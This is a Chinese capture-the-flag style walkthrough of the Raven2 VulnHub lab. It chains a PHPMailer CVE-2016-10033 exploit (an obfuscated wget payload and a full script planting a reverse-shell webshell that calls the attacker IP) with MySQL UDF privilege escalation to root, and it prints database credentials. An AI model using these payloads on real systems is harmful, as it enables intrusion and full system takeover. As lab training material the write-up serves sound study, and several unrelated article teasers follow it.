Mysql UDF提权复现Raven2

news2024/9/21 11:03:25

Raven2通关过程

主要通过Raven2靶机进行复现Mysql UDF提权,以下为通关过程。

靶机镜像:https://www.vulnhub.com/entry/raven-2,269/

信息收集

拿到靶机ip:192.168.112.129

nmap -sP 192.168.112.0/24

在这里插入图片描述

探测开放端口,nmap用烂了换goby用用,看到开放了22、11、80端口

在这里插入图片描述

尝试访问80端口,一个提供安保服务的站点

在这里插入图片描述

对网站目录进行fuzz

在这里插入图片描述

根据扫描结果了解到是wordpress建站的,在vendor目录下存在目录遍历

在这里插入图片描述

在PATH下发现了flag1

在这里插入图片描述

渗透阶段

因为在信息收集时发现了PHPMailer和WordPass的信息

在WordPress (<= 4.6.0)、Drupal、1CRM、Joomla!等使用了PHPMailer的开源CMS并且PHPMailer < 5.2.18的情况下,存在(CVE-2016-10033)WordPress命令执行漏洞

当WordPress 使用 PHPMailer 组件向用户发送邮件。攻击者在找回密码时会使用PHPmailer发送重置密码的邮件,利用substr(字符串截取函数)、$run(系统调用函数)等构造payload,即可进行远程命令执行。

phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload。

CVE-2016-10033漏洞复现

准备好木马文件shell.php

<?php eval($_POST['tpa']); ?>

开启http服务

python -m http.server 80

在如下页面点击Lost your password抓包

http://raven.local/wordpress/wp-login.php?action=lostpassword

在这里插入图片描述

抓的包如下
在这里插入图片描述

构造payload

target(any -froot@localhost -be ${run{$payload}} null)

其中的$payload原型

/usr/bin/wget --output-document /var/www/html/tpashell.php 192.168.112.128/shell.php

需要对payload进行转换

所有/${substr{0}{1}{$spool_directory}}代替

所有空格${substr{10}{1}{$tod_log}}代替

${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}tpashell.php${substr{10}{1}{$tod_log}}192.168.112.128${substr{0}{1}{$spool_directory}}shell.php

最终的payload

target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}vendor${substr{0}{1}{$spool_directory}}tpashell.php${substr{10}{1}{$tod_log}}192.168.112.128${substr{0}{1}{$spool_directory}}shell.php}} null)

payload替换Host,但一直报错400

在这里插入图片描述

改用脚本,经过修改脚本如下

# -*- coding: utf-8 -*-
from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lh

os.system('clear')
print("\n")
print(" █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
print("██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
print("███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝")
print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗")
print("██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║")
print("╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝")
print("      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")

target = 'http://192.168.112.129/contact.php'
backdoor = '/shell.php'

payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.112.128\\\',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'
fields={'action': 'submit',
        'name': payload,
        'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server\" @protonmail.com',
        'message': 'Pwned'}

m = MultipartEncoder(fields=fields,
                     boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')

headers={'User-Agent': 'curl/7.47.0',
         'Content-Type': m.content_type}

proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}


print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target, data=m.to_string(),
                  headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:
    print('[+]  ExPLoITeD ' + target)

执行后

在这里插入图片描述

点击http://192.168.112.129/contact.php链接,会生成shell.php文件

攻击机设置监听

nc -lvvp 7777

访问http://192.168.112.129/shell.php文件,成功反弹

在这里插入图片描述

当前用户为www-data

在这里插入图片描述

建立交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

在wordpress目录下的wp-config.php文件中找到mysql数据库的用户名密码

more wp-config.php

在这里插入图片描述

直接链接数据库

mysql -uroot -pR@v3nSecurity

在这里插入图片描述

顺便脱下库

show databases;

在这里插入图片描述

use wordpress

在这里插入图片描述

show tables;

在这里插入图片描述

select * from wp_users;

在这里插入图片描述

Mysql UDF提权

ps -aux|grep mysql

查看插件所在路径,得到路径/usr/lib/mysql/plugin/

show variables like '%plugin%';

在这里插入图片描述

在exp-db中搜索UDF,找到如下POC
在这里插入图片描述

记住编号1518

searchsploit 1518

在这里插入图片描述

找到1518.c的地址

locate 1518.c

在这里插入图片描述

编译生成so文件

gcc -g -shared -Wl,-soname,udf.so -o udf.so /usr/share/exploitdb/exploits/linux/local/1518.c -lc

-g 生成调试信息
-shared 创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件

-Wl选项告诉编译器将后面的参数传递给链接器。

-soname则指定了动态库的soname(简单共享名,Short for shared object name)

soname的关键功能是它提供了兼容性的标准:

当要升级系统中的一个库时,并且新库的soname和老库的soname一样,用旧库链接生成的程序使用新库依然能正常运行。这个特性使得在Linux下,升级使得共享库的程序和定位错误变得十分容易。

-o 生成的文件
-lc -l 库 c库名

将文件传到靶机,攻击机开启http服务

wget http://192.168.112.128/udf.so

在这里插入图片描述

回到数据库,使用mysql库

use mysql

在这里插入图片描述

创建表tpax

create table tpax(line blob);

将上传的udf.so文件二进制数据插入表中

insert into tpax values(load_file('/var/www/html/udf.so'));

在这里插入图片描述

利用dumpfile函数将文件导出

select * from tpax into dumpfile '/usr/lib/mysql/plugin/udf.so';

在这里插入图片描述

创建自定义函数do_system,类型integer,别名udf.so

create function do_system returns integer soname 'udf.so';

在这里插入图片描述

查看创建的函数

select * from mysql.func;

在这里插入图片描述

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令

select do_system('chmod u+s /usr/bin/find');

在这里插入图片描述

使用find命令

find / -exec "/bin/sh" \;

在这里插入图片描述

成功拿到root,进入交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

加上之前拿到的flag1拿到所有flag

find / -name flag*

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/352078.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

硬件系统工程师宝典(8)-----初识电源完整性分析

各位同学大家好&#xff0c;欢迎继续做客电子工程学习圈&#xff0c;今天我们继续来讲这本书&#xff0c;硬件系统工程师宝典。 上篇我们说到信号的时序设计需要保证数据和时钟信号同步传输。今天我们开始学习电源完整性分析需要考虑什么&#xff1f; PI分析概述 电源完整性…

2023年湖南建筑八大员(材料员)模拟真题及答案

百分百题库提供建筑八大员&#xff08;材料员&#xff09;考试试题、建筑八大员&#xff08;材料员&#xff09;考试预测题、建筑八大员&#xff08;材料员&#xff09;考试真题、建筑八大员&#xff08;材料员&#xff09;证考试题库等,提供在线做题刷题&#xff0c;在线模拟考…

2023年美赛C题 预测Wordle结果Predicting Wordle Results这题太简单了吧

2023年美赛C题 预测Wordle结果Predicting Wordle Results 更新时间&#xff1a;2023-2-17 11:30 1 题目 2023年MCM 问题C:预测Wordle结果![在这里插入图片描述](https://img-blog.csdnimg.cn/e059d917333e497e90ca082605869e3c.png#pic_center) Wordle是纽约时报目前每天提…

对于EVM系链交易缓冲池txpool的理解

区块链就是和交易打交道&#xff0c;我们今天就介绍下&#xff0c;交易处理过程中的一个重要组成部分&#xff1a;txpool。这篇文章主要从功能角度介绍&#xff0c;通过这篇文章会了解&#xff1a; txpool的在交易中的位置和作用。txpool的功能&#xff0c;核心组成部分queued…

停车辅助系统的技术和变化

各种各样的停车辅助系统已经存在了很长时间&#xff0c;但用户经常在不知道什么技术以及它是如何工作的情况下使用它们。 今天我们依次来谈谈停车辅助系统是什么&#xff0c;怎么发展以及如何应用的。 ​ 1.手信号 您可能会想&#xff0c;“为什么手信号是停车辅助系统&#x…

变电站如何解决人力不足问题?这个技能划重点

随着企业的管理水平的不断提高&#xff0c;各企业都建立的大大小小的数据机房。由于机房的大小不同、监测内容不同&#xff0c;费用也不尽相同&#xff0c;而数据机房存储着大量的珍贵数据&#xff0c;一旦丢失损毁会给企业造成不可挽回的损失。 变电站安装机房动环监控系统4大…

MySQL索引类型——有五种

文章目录前言一、MySQL中的索引类型有以下几种1.1 普通索引1.1.1 直接创建索引1.1.2 修改结构的方式添加索引1.1.3 创建表的时候同时创建索引1.1.4 删除索引1.2 唯一索引1.2.1 创建唯一索引1.2.2 修改表结构1.2.3 创建表的时候直接指定1.3 主键索引1.4 组合索引1.5 全文索引1.5…

EdrawMax 12.0.7 Ultimate 多语言版

EdrawMax多合一图表软件。获得市场上最强大、最专业的图表软件。现在比较一下&#xff0c;看看为什么 Lucidchart 是更好的图表解决方案。超过 10,000,000 多个用户。专用支持。Visio 导入和导出。图表和流程图进行可视化、创新和协作创建强大的流程图和视觉效果&#xff0c;以…

个人开源PCB开发板列表汇总

个人开源PCB开发板列表汇总✨首先感谢立创EDA的免费打样和立创一起开源的广大网页。 &#x1f530;STC单片机为主控开源PCB开发板列表 &#x1f4cc;STC15F2K60S2开发板&#xff1a;https://oshwhub.com/perseverance51/stc15f2k60s2-ji-tong-ban &#x1f4cc;STC15W408AS系…

Python3 输入和输出实例及演示

在前面几个章节中&#xff0c;我们其实已经接触了 Python 的输入输出的功能。本章节我们将具体介绍 Python 的输入输出。 输出格式美化 Python两种输出值的方式: 表达式语句和 print() 函数。 第3种方式是使用文件对象的 write() 方法&#xff0c;标准输出文件可以用 sys.std…

机器学习洞察 | 一文带你“讲透” JAX

在上篇文章中&#xff0c;我们详细分享了 JAX 这一新兴的机器学习模型的发展和优势&#xff0c;本文我们将通过 Amazon SageMaker 示例展示如何部署并使用 JAX。JAX 的工作机制JAX 的完整工作机制可以用下面这幅图详细解释:图片来源&#xff1a;“Intro to JAX” video on YouT…

python 的selenium自动操控浏览器教程(2)

人生苦短&#xff0c;我用py 文章目录人生苦短&#xff0c;我用py关于部分网页无法找到元素的问题1方案1方案2关于部分网页无法找到元素的问题2解决方案被网站检查出来我们使用了selenium了怎么办&#xff1f;如何实现前进后退当使用py删除文件时报禁止访问怎么办怎么使用py实现…

【服务器数据恢复】存储之间迁移数据时数据损坏的数据恢复案例

服务器数据恢复环境&故障&#xff1a; 一台某品牌的存储设备&#xff0c;Windows操作系统。由于业务需求&#xff0c;需要把这台存储设备中的数据迁移到另外一台存储设备中&#xff0c;在迁移数据过程中突然无法读取数据&#xff0c;管理界面报错。管理员查看服务器内的数据…

【Github的注册】

目录 一、打开官网 二、注册 1、点击右上角的 sign up 2、依次输入邮箱、密码、用户名 3、验证真人&#xff0c;create account&#xff0c;验证码 4、点击“个人“&#xff0c;“学生”&#xff0c;进入另一个页面后滚动鼠标直接点击continue&#xff0c;进入另一个页面后…

Yakit Web Fuzzer 终极能力强化:热加载 Fuzz

Background 在 HTB&#xff1a;BountyHunter 中&#xff0c;我们发现 Web Fuzzer 在使用中可以 “更强”&#xff0c;我们需要编写 Yak 脚本的事情&#xff0c;如果可以经过某些 Web Fuzzer 的优化&#xff0c;可以达到同样的效果。 在一个标签中&#xff0c;我们实现{{base6…

智慧工地火焰烟火识别检测 yolo

智慧工地火焰烟火识别检测算法通过yolo网络模型深度学习技术&#xff0c;智慧工地火焰烟火识别检测算法对现场浓烟和烟火情况&#xff0c;立即抓拍告警并进行存档。YOLO 的核心思想就是把目标检测转变成一个回归问题&#xff0c;利用整张图作为网络的输入&#xff0c;仅仅经过一…

图解LeetCode——2335. 装满杯子需要的最短总时长

一、题目 现有一台饮水机&#xff0c;可以制备冷水、温水和热水。每秒钟&#xff0c;可以装满 2 杯 不同 类型的水或者 1 杯任意类型的水。 给你一个下标从 0 开始、长度为 3 的整数数组 amount &#xff0c;其中 amount[0]、amount[1] 和 amount[2] 分别表示需要装满冷水、温…

【THREE.JS】网页中的炫酷3D

web3d一、前言粒子特效二维漫画可视化后期处理二、项目使用流程2.1 项目结构2.2 基本使用2.3 项目模板2.4 技术栈三、基础动画3.1 THREE.Clock3.2 GASP四、照相机8.1 正交相机8.2 透视相机4.3 相机控制器五、画布和全屏六、几何体七、Debug UI八、纹理贴图8.1 mipmapping8.2 放…

关于IcmpSendEcho2的使用和回调问题

由于我的需求是短时间内ping多台机子&#xff0c;所以需要异步执行&#xff0c;微软提供的例子是同步方式的&#xff0c;根据微软官方提供的icmpSendEcho2 函数的信息 &#xff0c;我需要定义一个空的宏PIO_APC_ROUTINE_DEFINED &#xff0c;定义完之后&#xff0c;编译又出现…

Java基础:回调函数

因为在看Android代码的时候发现了许多关于回调函数的知识, 所以去了解了一下. 对于我来说不太好懂, 因为我觉得看的那些博文的讲法对我来说很绕, 所以我在理解了之后想写一篇关于回调函数的博文来给和我一样理解能力稍差的人一点帮助. 回调函数的作用其实就是将需要这个功能的调…